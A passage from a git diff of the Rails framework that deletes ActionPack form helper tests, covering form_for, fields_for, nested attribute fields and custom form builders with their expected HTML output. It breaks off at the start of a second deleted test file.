- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
- @post.author = Author.new(321)
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- concat af.text_field(:name)
- }
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment, :include_id => false) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
- @post.author = Author.new(321)
-
- form_for(@post, :include_id => false) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- concat af.text_field(:name)
- }
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
- @post.author = Author.new(321)
-
- form_for(@post, :include_id => false) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author, :include_id => true) { |af|
- concat af.text_field(:name)
- }
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.hidden_field(:id)
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
- @post.comments = [Comment.new, Comment.new]
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
- @post.comments = [Comment.new(321), Comment.new]
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- @post.comments.each do |comment|
- concat f.fields_for(:comments, comment) { |cf|
- concat cf.text_field(:name)
- }
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_an_empty_supplied_attributes_collection
- form_for(@post) do |f|
- concat f.text_field(:title)
- f.fields_for(:comments, []) do |cf|
- concat cf.text_field(:name)
- end
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:comments, @post.comments) { |cf|
- concat cf.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_arel_like
- @post.comments = ArelLike.new
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:comments, @post.comments) { |cf|
- concat cf.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
- comments = Array.new(2) { |id| Comment.new(id + 1) }
- @post.comments = []
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:comments, comments) { |cf|
- concat cf.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
- '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
- @post.comments = [Comment.new(321), Comment.new]
- yielded_comments = []
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:comments) { |cf|
- concat cf.text_field(:name)
- yielded_comments << cf.object
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
- '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
- end
-
- assert_dom_equal expected, output_buffer
- assert_equal yielded_comments, @post.comments
- end
-
- def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
- @post.comments = []
-
- form_for(@post) do |f|
- concat f.fields_for(:comments, Comment.new(321), :child_index => 'abc') { |cf|
- concat cf.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
- '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- expected = 0
- @post.comments.each do |comment|
- f.fields_for(:comments, comment) { |cf|
- assert_equal cf.index, expected
- expected += 1
- }
- end
- end
- end
-
- def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
- @post.comments = [Comment.new(321), Comment.new]
-
- form_for(@post) do |f|
- expected = 0
- @post.comments.each do |comment|
- f.fields_for(:comments, comment) { |cf|
- assert_equal cf.index, expected
- expected += 1
- }
- end
- end
- end
-
- def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
- @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
- form_for(@post) do |f|
- expected = 0
- f.fields_for(:comments, @post.comments) { |cf|
- assert_equal cf.index, expected
- expected += 1
- }
- end
- end
-
- def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
- @post.comments = []
-
- form_for(@post) do |f|
- f.fields_for(:comments, Comment.new(321), :child_index => 'abc') { |cf|
- assert_equal cf.index, 'abc'
- }
- end
- end
-
- def test_nested_fields_uses_unique_indices_for_different_collection_associations
- @post.comments = [Comment.new(321)]
- @post.tags = [Tag.new(123), Tag.new(456)]
- @post.comments[0].relevances = []
- @post.tags[0].relevances = []
- @post.tags[1].relevances = []
-
- form_for(@post) do |f|
- concat f.fields_for(:comments, @post.comments[0]) { |cf|
- concat cf.text_field(:name)
- concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
- concat crf.text_field(:value)
- }
- }
- concat f.fields_for(:tags, @post.tags[0]) { |tf|
- concat tf.text_field(:value)
- concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
- concat trf.text_field(:value)
- }
- }
- concat f.fields_for('tags', @post.tags[1]) { |tf|
- concat tf.text_field(:value)
- concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
- concat trf.text_field(:value)
- }
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
- '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
- '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
- '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
- '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
- '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
- '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
- '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
- '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
- '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
- '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
- '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_hash_like_model
- @author = HashBackedAuthor.new
-
- form_for(@post) do |f|
- concat f.fields_for(:author, @author) { |af|
- concat af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for
- output_buffer = fields_for(:post, @post) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_with_index
- output_buffer = fields_for("post[]", @post) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
- "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[123][secret]' type='hidden' value='0' />" +
- "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_with_nil_index_option_override
- output_buffer = fields_for("post[]", @post, :index => nil) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
- "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[][secret]' type='hidden' value='0' />" +
- "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_with_index_option_override
- output_buffer = fields_for("post[]", @post, :index => "abc") do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
- "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[abc][secret]' type='hidden' value='0' />" +
- "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_without_object
- output_buffer = fields_for(:post) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_with_only_object
- output_buffer = fields_for(@post) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_object_with_bracketed_name
- output_buffer = fields_for("author[post]", @post) do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- end
-
- assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
- "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
- output_buffer
- end
-
- def test_fields_for_object_with_bracketed_name_and_index
- output_buffer = fields_for("author[post]", @post, :index => 1) do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- end
-
- assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
- "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
- output_buffer
- end
-
- def test_form_builder_does_not_have_form_for_method
- assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
- end
-
- def test_form_for_and_fields_for
- form_for(@post, :as => :post, :html => { :id => 'create-post' }) do |post_form|
- concat post_form.text_field(:title)
- concat post_form.text_area(:body)
-
- concat fields_for(:parent_post, @post) { |parent_fields|
- concat parent_fields.check_box(:secret)
- }
- end
-
- expected = whole_form('/posts/123', 'create-post', 'edit_post', :method => 'patch') do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='parent_post[secret]' type='hidden' value='0' />" +
- "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_and_fields_for_with_object
- form_for(@post, :as => :post, :html => { :id => 'create-post' }) do |post_form|
- concat post_form.text_field(:title)
- concat post_form.text_area(:body)
-
- concat post_form.fields_for(@comment) { |comment_fields|
- concat comment_fields.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'create-post', 'edit_post', :method => 'patch') do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_and_fields_for_with_non_nested_association_and_without_object
- form_for(@post) do |f|
- concat f.fields_for(:category) { |c|
- concat c.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
- "<input name='post[category][name]' type='text' id='post_category_name' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- class LabelledFormBuilder < ActionView::Helpers::FormBuilder
- (field_helpers - %w(hidden_field)).each do |selector|
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{selector}(field, *args, &proc)
- ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
- end
- RUBY_EVAL
- end
- end
-
- def test_form_for_with_labelled_builder
- form_for(@post, :builder => LabelledFormBuilder) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
- "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_default_form_builder
- old_default_form_builder, ActionView::Base.default_form_builder =
- ActionView::Base.default_form_builder, LabelledFormBuilder
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
- "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- ActionView::Base.default_form_builder = old_default_form_builder
- end
-
- def test_lazy_loading_default_form_builder
- old_default_form_builder, ActionView::Base.default_form_builder =
- ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- ActionView::Base.default_form_builder = old_default_form_builder
- end
-
- def test_fields_for_with_labelled_builder
- output_buffer = fields_for(:post, @post, :builder => LabelledFormBuilder) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected =
- "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
- "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
- klass = nil
-
- form_for(@post, :builder => LabelledFormBuilder) do |f|
- f.fields_for(:comments, Comment.new) do |nested_fields|
- klass = nested_fields.class
- ''
- end
- end
-
- assert_equal LabelledFormBuilder, klass
- end
-
- def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
- klass = nil
-
- form_for(@post, :builder => LabelledFormBuilder) do |f|
- f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields|
- klass = nested_fields.class
- ''
- end
- end
-
- assert_equal LabelledFormBuilder, klass
- end
-
- def test_form_for_with_labelled_builder_path
- path = nil
-
- form_for(@post, :builder => LabelledFormBuilder) do |f|
- path = f.to_partial_path
- ''
- end
-
- assert_equal 'labelled_form', path
- end
-
- class LabelledFormBuilderSubclass < LabelledFormBuilder; end
-
- def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
- klass = nil
-
- form_for(@post, :builder => LabelledFormBuilder) do |f|
- f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields|
- klass = nested_fields.class
- ''
- end
- end
-
- assert_equal LabelledFormBuilderSubclass, klass
- end
-
- def test_form_for_with_html_options_adds_options_to_form_tag
- form_for(@post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
- expected = whole_form("/posts/123", "some_form", "some_class", 'patch')
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_string_url_option
- form_for(@post, :url => 'http://www.otherdomain.com') do |f| end
-
- assert_equal whole_form("http://www.otherdomain.com", 'edit_post_123', 'edit_post', 'patch'), output_buffer
- end
-
- def test_form_for_with_hash_url_option
- form_for(@post, :url => {:controller => 'controller', :action => 'action'}) do |f| end
-
- assert_equal 'controller', @url_for_options[:controller]
- assert_equal 'action', @url_for_options[:action]
- end
-
- def test_form_for_with_record_url_option
- form_for(@post, :url => @post) do |f| end
-
- expected = whole_form("/posts/123", 'edit_post_123', 'edit_post', 'patch')
- assert_equal expected, output_buffer
- end
-
- def test_form_for_with_existing_object
- form_for(@post) do |f| end
-
- expected = whole_form("/posts/123", "edit_post_123", "edit_post", 'patch')
- assert_equal expected, output_buffer
- end
-
- def test_form_for_with_new_object
- post = Post.new
- post.persisted = false
- def post.to_key; nil; end
-
- form_for(post) do |f| end
-
- expected = whole_form("/posts", "new_post", "new_post")
- assert_equal expected, output_buffer
- end
-
- def test_form_for_with_existing_object_in_list
- @comment.save
- form_for([@post, @comment]) {}
-
- expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", 'patch')
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_new_object_in_list
- form_for([@post, @comment]) {}
-
- expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_existing_object_and_namespace_in_list
- @comment.save
- form_for([:admin, @post, @comment]) {}
-
- expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", 'patch')
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_new_object_and_namespace_in_list
- form_for([:admin, @post, @comment]) {}
-
- expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_existing_object_and_custom_url
- form_for(@post, :url => "/super_posts") do |f| end
-
- expected = whole_form("/super_posts", "edit_post_123", "edit_post", 'patch')
- assert_equal expected, output_buffer
- end
-
- def test_form_for_with_default_method_as_patch
- form_for(@post) {}
- expected = whole_form("/posts/123", "edit_post_123", "edit_post", "patch")
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_data_attributes
- form_for(@post, data: { behavior: "stuff" }, remote: true) {}
- assert_match %r|data-behavior="stuff"|, output_buffer
- assert_match %r|data-remote="true"|, output_buffer
- end
-
- def test_fields_for_returns_block_result
- output = fields_for(Post.new) { |f| "fields" }
- assert_equal "fields", output
- end
-
- def test_form_builder_block_argument_deprecation
- builder_class = Class.new(ActionView::Helpers::FormBuilder) do
- def initialize(object_name, object, template, options, block)
- super
- end
- end
-
- assert_deprecated(/Giving a block to FormBuilder is deprecated and has no effect anymore/) do
- builder_class.new(:foo, nil, nil, {}, proc {})
- end
- end
-
- protected
-
- def hidden_fields(method = nil)
- txt = %{<div style="margin:0;padding:0;display:inline">}
- txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
- if method && !%w(get post).include?(method.to_s)
- txt << %{<input name="_method" type="hidden" value="#{method}" />}
- end
- txt << %{</div>}
- end
-
- def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
- txt = %{<form accept-charset="UTF-8" action="#{action}"}
- txt << %{ enctype="multipart/form-data"} if multipart
- txt << %{ data-remote="true"} if remote
- txt << %{ class="#{html_class}"} if html_class
- txt << %{ id="#{id}"} if id
- method = method.to_s == "get" ? "get" : "post"
- txt << %{ method="#{method}">}
- end
-
- def whole_form(action = "/", id = nil, html_class = nil, options = nil)
- contents = block_given? ? yield : ""
-
- if options.is_a?(Hash)
- method, remote, multipart = options.values_at(:method, :remote, :multipart)
- else
- method = options
- end
-
- form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
- end
-
- def protect_against_forgery?
- false
- end
-end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
deleted file mode 100644
index c5efed3195..0000000000
--- a/actionpack/test/template/form_options_helper_test.rb
+++ /dev/null
@@ -1,1259 +0,0 @@
-require 'abstract_unit'
-require 'tzinfo'
-
-class Map < Hash
- def category
- "<mus>"
